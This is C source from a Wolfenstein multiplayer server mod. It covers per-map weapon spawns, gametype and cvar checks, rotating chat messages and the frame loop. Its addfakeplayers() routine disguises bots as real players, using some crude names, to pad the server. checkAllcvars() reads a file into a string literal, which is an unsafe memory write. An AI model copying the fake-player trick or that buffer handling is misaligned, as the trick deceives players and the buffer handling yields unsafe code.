spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Sten");
spawnorigin[0] = 1792;
spawnorigin[1] = -58;
spawnorigin[2] = -351;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1599;
spawnorigin[1] = -964;
spawnorigin[2] = 320;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1884;
spawnorigin[1] = 861;
spawnorigin[2] = 648;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -2045;
spawnorigin[1] = 1094;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -2292;
spawnorigin[1] = 2229;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -960;
spawnorigin[1] = 1682;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapples");
spawnorigin[0] = -2175;
spawnorigin[1] = 1469;
spawnorigin[2] = 608;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Sten");
spawnorigin[0] = -1582;
spawnorigin[1] = 1002;
spawnorigin[2] = 608;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -1389;
spawnorigin[1] = 480;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = -1215;
spawnorigin[1] = -316;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1196;
spawnorigin[1] = 701;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
}else if (!Q_stricmp(mapName, "crypt2")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = -1473;
spawnorigin[1] = -1602;
spawnorigin[2] = 483;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = -253;
spawnorigin[1] = 199;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Venom");
spawnorigin[0] = -894;
spawnorigin[1] = -381;
spawnorigin[2] = 160;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Mp40");
spawnorigin[0] = -255;
spawnorigin[1] = -389;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -255;
spawnorigin[1] = -387;
spawnorigin[2] = 160;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 160;
spawnorigin[1] = 198;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = -1204;
spawnorigin[1] = -9;
spawnorigin[2] = 40;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -1476;
spawnorigin[1] = -3003;
spawnorigin[2] = 252;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1476;
spawnorigin[1] = -567;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = 320;
spawnorigin[1] = -383;
spawnorigin[2] = 160;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Sten");
spawnorigin[0] = -576;
spawnorigin[1] = -1016;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1697;
spawnorigin[1] = -1821;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1246;
spawnorigin[1] = -1374;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = -1469;
spawnorigin[1] = -1214;
spawnorigin[2] = 264;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = -1473;
spawnorigin[1] = -2240;
spawnorigin[2] = 264;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = -1471;
spawnorigin[1] = -3428;
spawnorigin[2] = 264;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = -1770;
spawnorigin[1] = -576;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -1176;
spawnorigin[1] = -573;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Med Health");
spawnorigin[0] = -1189;
spawnorigin[1] = -613;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -1189;
spawnorigin[1] = -519;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -1767;
spawnorigin[1] = -624;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -1766;
spawnorigin[1] = -526;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
}else if (!Q_stricmp(mapName, "factory")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1123;
spawnorigin[1] = -292;
spawnorigin[2] = 473;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 769;
spawnorigin[1] = -256;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Venom");
spawnorigin[0] = -12;
spawnorigin[1] = -495;
spawnorigin[2] = 437;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 1598;
spawnorigin[1] = -189;
spawnorigin[2] = 120;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2568;
spawnorigin[1] = -427;
spawnorigin[2] = 216;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 2038;
spawnorigin[1] = -443;
spawnorigin[2] = 296;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = &bg_itemlist[82]; //Give me some artillery!
spawnorigin[0] = 1118;
spawnorigin[1] = -804;
spawnorigin[2] = 527;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1399;
spawnorigin[1] = 127;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1930;
spawnorigin[1] = -557;
spawnorigin[2] = 120;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = 1513;
spawnorigin[1] = -39;
spawnorigin[2] = 186;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Sten");
spawnorigin[0] = 1576;
spawnorigin[1] = 284;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 693;
spawnorigin[1] = -1309;
spawnorigin[2] = 90;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 249;
spawnorigin[1] = 290;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 864;
spawnorigin[1] = 288;
spawnorigin[2] = 288;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = 2336;
spawnorigin[1] = -543;
spawnorigin[2] = 184;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Med Health");
spawnorigin[0] = 1921;
spawnorigin[1] = -479;
spawnorigin[2] = 152;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = 659;
spawnorigin[1] = -1175;
spawnorigin[2] = 390;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 777;
spawnorigin[1] = -374;
spawnorigin[2] = 170;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 575;
spawnorigin[1] = -98;
spawnorigin[2] = 28;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 863;
spawnorigin[1] = -800;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 1184;
spawnorigin[1] = 353;
spawnorigin[2] = 24;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = 1810;
spawnorigin[1] = -301;
spawnorigin[2] = 200;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Med Health");
spawnorigin[0] = 923;
spawnorigin[1] = -868;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Sten");
spawnorigin[0] = -128;
spawnorigin[1] = -959;
spawnorigin[2] = 484;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1183;
spawnorigin[1] = 705;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -266;
spawnorigin[1] = 283;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 131;
spawnorigin[1] = -949;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 2242;
spawnorigin[1] = -933;
spawnorigin[2] = 216;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
}
}
/*
=============
CheckReloadStatus
=============
*/
qboolean reloading = qfalse;
void CheckReloadStatus(void) {
// if we are waiting for a reload, check the delay time
if (reloading) {
if (level.reloadDelayTime) {
if (level.reloadDelayTime < level.time) {
// set the loadgame flag, and restart the server
trap_Cvar_Set( "savegame_loading", "2" ); // 2 means it's a restart, so stop rendering until we are loaded
trap_SendConsoleCommand( EXEC_INSERT, "map_restart\n" );
level.reloadDelayTime = 0;
}
} else if (level.reloadPauseTime) {
if (level.reloadPauseTime < level.time) {
reloading = qfalse;
level.reloadPauseTime = 0;
}
}
}
}
/*
==================
CheckGoldrush
==================
*/
void CheckGoldrush( void ) {
char cs[MAX_STRING_CHARS];
// check for sudden death
if (level.teamScores[TEAM_RED] == level.teamScores[TEAM_BLUE])
return;
if (level.teamScores[TEAM_RED] < level.teamScores[TEAM_BLUE]) {
trap_SendServerCommand( -1, "cp \" ^4ALLIES ^3WIN.\n\"" );
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );//begin agent
Info_SetValueForKey( cs, "winner", "1" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );//end agnet
}else if (level.teamScores[TEAM_RED] > level.teamScores[TEAM_BLUE]) {
trap_SendServerCommand( -1, "cp \" ^1AXIS ^3WIN.\n\"" );
trap_GetConfigstring( CS_MULTI_MAPWINNER, cs, sizeof(cs) );//begin agent
Info_SetValueForKey( cs, "winner", "0" );
trap_SetConfigstring( CS_MULTI_MAPWINNER, cs );//end agnet
}
}
//End
void stripcvars(const char *buffer, char *checkcvar, char* cvarfrom, char* cvarto);
void checkAllcvars( void ) {
char * checkcvar;
char * cvarto;
char * cvarfrom;
char * buffer;
FILE * cvars;
cvars = fopen("cvars.txt","r");
checkcvar ="";
cvarto = "";
cvarfrom="";
buffer="";
if(cvars){
while (fgets(buffer,1024,cvars)!=NULL){
stripcvars(buffer, checkcvar,cvarfrom , cvarto);
trap_SendServerCommand( -1, va("checkcvar %s", checkcvar) );
}
fclose(cvars);
}
level.LastCVARcheck = level.time;
}
//S4NDM4NN-for the msgs crap
/*
==================
CheckMsgs
==================
*/
void CheckMsgs( void ) {
if (!g_msgs.integer)
return;
if (msgNum.integer == 1){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg1.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg2.string))
trap_Cvar_Set( "msgNum", "2" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 2){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg2.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg3.string))
trap_Cvar_Set( "msgNum", "3" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 3){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg3.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg4.string))
trap_Cvar_Set( "msgNum", "4" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 4){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg4.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg5.string))
trap_Cvar_Set( "msgNum", "5" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 5){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg5.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg6.string))
trap_Cvar_Set( "msgNum", "6" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 6){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg6.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg7.string))
trap_Cvar_Set( "msgNum", "7" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 7){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg7.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg8.string))
trap_Cvar_Set( "msgNum", "8" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 8){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg8.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg9.string))
trap_Cvar_Set( "msgNum", "9" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 9){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg9.string) );
level.LastMsgTime = level.time;
if (strlen(g_msg10.string))
trap_Cvar_Set( "msgNum", "10" );
else
trap_Cvar_Set( "msgNum", "1" );
}
if (msgNum.integer == 10){
trap_SendServerCommand( -1, va("chat \"console: %s\n\"", g_msg10.string) );
level.LastMsgTime = level.time;
trap_Cvar_Set( "msgNum", "1" );
}
}
//End
/*
==================
CheckCvars
==================
*/
void CheckCvars( void ) {
static int lastMod = -1;
char mapName[32];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if ( g_password.modificationCount != lastMod ) {
lastMod = g_password.modificationCount;
if ( *g_password.string && Q_stricmp( g_password.string, "none" ) ) {
trap_Cvar_Set( "g_needpass", "1" );
} else {
trap_Cvar_Set( "g_needpass", "0" );
}
}
//S4NDM4NN-Deathmatch make time 0 and force gametype to be 5
if (g_deathmatch.integer){
trap_SendConsoleCommand( EXEC_APPEND, va( "timelimit 0\n") );
if (!Q_stricmp(mapName, "mp_base")){
trap_SendConsoleCommand( EXEC_APPEND, va( "g_gametype 5\n") );
}else{
trap_SendConsoleCommand( EXEC_APPEND, va( "g_gametype 7\n") );
}
}
//END
//S4NDM4NN-Goldrush-Force gametype to be 7
if (g_goldrush.integer){
trap_SendConsoleCommand( EXEC_APPEND, va( "g_gametype 7\n") );
}
//END
//begin agent sniper mode
//1 is for reccamended settings :)
if ((g_SniperMode.integer)||(g_panzerParty.integer)){
trap_SendConsoleCommand( EXEC_APPEND, va( "timelimit 0\n") );
trap_SendConsoleCommand( EXEC_APPEND, va( "g_gametype 7\n") ); //force the gate to be open.
}
//END
//S4NDM4NN- for auto shuffle
if (g_autoShuffle.integer){
if(g_gamestate.integer == GS_WARMUP){
if (g_autoShuffle.integer == 1){
trap_SendConsoleCommand( EXEC_APPEND, va( "shuffle\n") );
trap_SendConsoleCommand( EXEC_APPEND, va( "g_autoShuffle 2\n") );
}
}
if(g_gamestate.integer != GS_WARMUP){
if (g_autoShuffle.integer == 2)
trap_SendConsoleCommand( EXEC_APPEND, va( "g_autoShuffle 1\n") );
}
}
//END auto shuffle
}
/*
=============
G_RunThink
Runs thinking code for this frame if necessary
=============
*/
void G_RunThink (gentity_t *ent) {
float thinktime;
// RF, run scripting
if (ent->s.number >= MAX_CLIENTS) {
//----(SA) this causes trouble in various maps
// escape1 - first radio room nazi is not there
// basein - truck you start in is rotated 90 deg off
// will explain more if necessary when awake :)
// if (!(saveGamePending || (g_missionStats.string[0] || g_missionStats.string[1]))) {
G_Script_ScriptRun( ent );
// }
//----(SA) end
}
thinktime = ent->nextthink;
if (thinktime <= 0) {
return;
}
if (thinktime > level.time) {
return;
}
ent->nextthink = 0;
if (!ent->think) {
G_Error ( "NULL ent->think");
}
ent->think (ent);
}
char * fakenames[]={
"theghost",
"urDad",
"dickdastirdly",
"420 blunt",
"malficius",
"fritzbot",
"M&M",
"the$hit",
"mike",
"billy",
"bob",
"joe",
"urAunt",
"hunter",
"killer",
"I OWN YOU!",
"SwEeT!",
"goDie!",
"urSister",
"noob",
"newbie",
"nubie",
"S4NDMoD ROX!!!!!",
"I 0wN NoOBs!",
"blow me away",
"iron eagle",
"bullet_eater",
"pyroman",
"fuck off",
"akz innocent",
"rocket man",
"lol",
"^3SPECTATOR",
"urMoM",
"[TK's]SUCK!!!",
"wolfer",
"RUN_AWAY_KILLER",
"wolfy",
"reyalPfloW",
"wolfensteiner",
"Convict",
"pwn4g3!",
"I_DONT_HACK",
"||:)",
"BIG MAN",
"little MAN",
"american badass",
"you suck",
"I DONT LIKE YOU!",
"IM real, I swear!",
"Dont ignore me",
"CANT ignore me",
"snipeTX",
"and",
"DynoSauR",
"are",
"butt buddies",
"ben dover",
"the hammer",
"Creepshow",
"Seegster",
"aqua_teen",
"S4NDMoD Player!"
};
int lastfakeplayertime;
void addfakeplayers()
{
int clientNum;
gentity_t *bot;
char userinfo[MAX_INFO_STRING];
lastfakeplayertime = level.time;
if (level.numConnectedClients+1 < level.maxclients){
//check if there are any available slots for the bot
clientNum = trap_BotAllocateClient();
if (clientNum == -1)
{
//do nothing
}else{
userinfo[0] = '\0';
//set the client variables for the bot
Info_SetValueForKey(userinfo, "name", fakenames[clientNum]);
Info_SetValueForKey(userinfo, "rate", "25000");
Info_SetValueForKey(userinfo, "snaps", "20");
Info_SetValueForKey(userinfo, "skill", "0");
Info_SetValueForKey(userinfo, "team", "s");
Info_SetValueForKey(userinfo, "cg_autoactivate", "1"); //PICKUP_TOUCH - lets bots pickup health/ammo etc
Info_SetValueForKey(userinfo, "cg_autoreload", "1"); //so we don't have to handle it - maybe change later
trap_SetUserinfo(clientNum, userinfo);
//check if the bot can connect - do NOT pass qtrue for the 3rd paramater (isBot)!
if(!ClientConnect(clientNum, qtrue, qtrue)){
//set some generic info
bot = &g_entities[clientNum];
bot->r.svFlags |= SVF_BOT; //this is how we know he's a bot :P
bot->inuse = qtrue;
bot->scriptStatus.scriptEventIndex = -1;
bot->s.number = bot - g_entities;
bot->r.ownerNum = ENTITYNUM_NONE;
bot->headshotDamageScale = 1.0;
bot->client->pers.localClient = qtrue; //not really necessary, but true...means it's on the server computer
bot->isFake = qtrue;
//this prevents anyone from filing complaints against tk'ing bots
}
}
}
}
/*
================
G_RunFrame
Advances the non-player objects in the world
================
*/
void ClientThink_real( gentity_t *ent );
void G_RunFrame( int levelTime ) {
int i;
gentity_t *ent;
int msec;
int worldspawnflags, gt;
// int clientNum;
// gentity_t *bot;
// char userinfo[MAX_INFO_STRING];
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
// int testtime;
//int start, end;
//ANTILAG - store the time the frame started
level.frameStartTime = trap_Milliseconds();
// L0 - trap the time when game is paused
if( !level.paused ) {
level.timeCurrent = levelTime - level.timeDelta;
} else {
level.timeDelta = levelTime - level.timeCurrent;
if((level.time % 500) == 0) {
trap_SetConfigstring(CS_LEVEL_START_TIME, va("%i", level.startTime + level.timeDelta));
}
} // end
// if we are waiting for the level to restart, do nothing
if ( level.restarted ) {
return;
}
level.framenum++;
level.previousTime = level.time;
level.time = levelTime;
msec = level.time - level.previousTime;
//S4NDM4NN - Force specific file downloads :D
if(level.framenum == 20)
{
forceDLinit();
}
// check if current gametype is supported
worldspawnflags = g_entities[ENTITYNUM_WORLD].spawnflags;
if ( !level.latchGametype && g_gamestate.integer == GS_PLAYING &&
( (g_gametype.integer == GT_WOLF && (worldspawnflags & NO_GT_WOLF)) ||
(g_gametype.integer == GT_WOLF_STOPWATCH && (worldspawnflags & NO_STOPWATCH)) ||
((g_gametype.integer == GT_WOLF_CP || g_gametype.integer == GT_WOLF_CPH) && (worldspawnflags & NO_CHECKPOINT)) ) // JPW NERVE added CPH
) {
if ( !(worldspawnflags & NO_GT_WOLF) )
gt = 5;
else
gt = 7;
trap_SendServerCommand( -1, "print \"Invalid gametype was specified, Restarting\n\"" );
trap_SendConsoleCommand( EXEC_APPEND, va("wait 2 ; g_gametype %i ; map_restart 10 0\n", gt ) );
level.latchGametype = qtrue;
}
// get any cvar changes
G_UpdateCvars();
//
// go through all allocated objects
//
//start = trap_Milliseconds();
ent = &g_entities[0];
for (i=0 ; i<level.num_entities ; i++, ent++) {
if ( !ent->inuse ) {
continue;
}
// check EF_NODRAW status for non-clients
if (i > level.maxclients) {
if (ent->flags & FL_NODRAW) {
ent->s.eFlags |= EF_NODRAW;
} else {
ent->s.eFlags &= ~EF_NODRAW;
}
}
// RF, if this entity is attached to a parent, move it around with it, so the server thinks it's at least close to where the client will view it
if (ent->tagParent) {
vec3_t org;
BG_EvaluateTrajectory( &ent->tagParent->s.pos, level.time, org );
G_SetOrigin(ent, org );
VectorCopy( org, ent->s.origin );
if (ent->r.linked) { // update position
trap_LinkEntity(ent);
}
}
// clear events that are too old
if ( level.time - ent->eventTime > EVENT_VALID_MSEC ) {
if ( ent->s.event ) {
ent->s.event = 0; // &= EV_EVENT_BITS;
//if ( ent->client ) {
//ent->client->ps.externalEvent = 0; // (SA) MISSIONPACK. Wolf does not have ps.externalEvent
//predicted events should never be set to zero
//ent->client->ps.events[0] = 0;
//ent->client->ps.events[1] = 0;
//}
}
if ( ent->freeAfterEvent ) {
// tempEntities or dropped items completely go away after their event
G_FreeEntity( ent );
continue;
} else if ( ent->unlinkAfterEvent ) {
// items that will respawn will hide themselves after their pickup event
ent->unlinkAfterEvent = qfalse;
trap_UnlinkEntity( ent );
}
}
// MrE: let the server know about bbox or capsule collision
if ( ent->s.eFlags & EF_CAPSULE ) {
ent->r.svFlags |= SVF_CAPSULE;
}
else {
ent->r.svFlags &= ~SVF_CAPSULE;
}
// temporary entities don't think
if ( ent->freeAfterEvent ) {
continue;
}
if ( !ent->r.linked && ent->neverFree ) {
continue;
}
if ( ent->s.eType == ET_MISSILE
|| ent->s.eType == ET_FLAMEBARREL
|| ent->s.eType == ET_FP_PARTS
|| ent->s.eType == ET_FIRE_COLUMN
|| ent->s.eType == ET_FIRE_COLUMN_SMOKE
|| ent->s.eType == ET_EXPLO_PART
|| ent->s.eType == ET_RAMJET) {
G_RunMissile( ent );
continue;
}
// DHM - Nerve :: Server-side collision for flamethrower
if ( ent->s.eType == ET_FLAMETHROWER_CHUNK ) {
G_RunFlamechunk( ent );
continue;
}
if ( ent->s.eType == ET_ITEM || ent->physicsObject ) {
G_RunItem( ent );
continue;
}
if(ent->s.eType == ET_ALARMBOX)
{
if ( ent->flags & FL_TEAMSLAVE )
continue;
G_RunThink( ent );
continue;
}
if ( ent->s.eType == ET_MOVER || ent->s.eType == ET_PROP) {
G_RunMover( ent );
continue;
}
#ifndef OMNIBOT
if ( i < MAX_CLIENTS ) {
if (ent->isFake){
char buf[1024];
while (trap_BotGetServerCommand(ent->client->ps.clientNum, buf, sizeof(buf))){}//dont do anythng just clear servercmds so it dont boot out of server
ent->client->pers.cmd.serverTime=level.time;
ent->client->lastCmdTime = level.time;
trap_BotUserCommand(ent->client->ps.clientNum, &ent->client->pers.cmd);//send a server cmd?? i think lol
ClientThink_real(ent);//dont need to call this :D
continue;
}
G_RunClient( ent );
continue;
}
#endif //OMNIBOT
G_RunThink( ent );
}
//end = trap_Milliseconds();
// Ridah, move the AI
//AICast_StartServerFrame ( level.time );
//start = trap_Milliseconds();
// perform final fixups on the players
ent = &g_entities[0];
for (i=0 ; i < level.maxclients ; i++, ent++ ) {
if ( ent->inuse ) {
ClientEndFrame( ent );
}
}
//end = trap_Milliseconds();
// see if it is time to do a tournement restart
// CheckTournament();
// NERVE - SMF
CheckWolfMP();
// see if it is time to end the level
CheckExitRules();
// update to team status?
CheckTeamStatus();
// cancel vote if timed out
CheckVote();
//S4NDM4NN-for the msgs crap
if ( g_gamestate.integer == GS_INTERMISSION && level.time - level.intermissiontime >= 500 && !level.statsPrinted){
if(g_tableStats.integer)
{
BuildStats();
}
// L0 - FirstBlood - if it's 2 let it be bellow StatsTable..
// So players know why they lost when they check the console...
// Make sure it did happen!
if (g_FirstBlood.integer == 2 && level.firstBloodTrue == 1) {
if (level.firstbloodTeam == TEAM_BLUE )
trap_SendServerCommand( -1, "print \"^4Allied ^7team wins by drawing First Blood^4!\n\"");
else
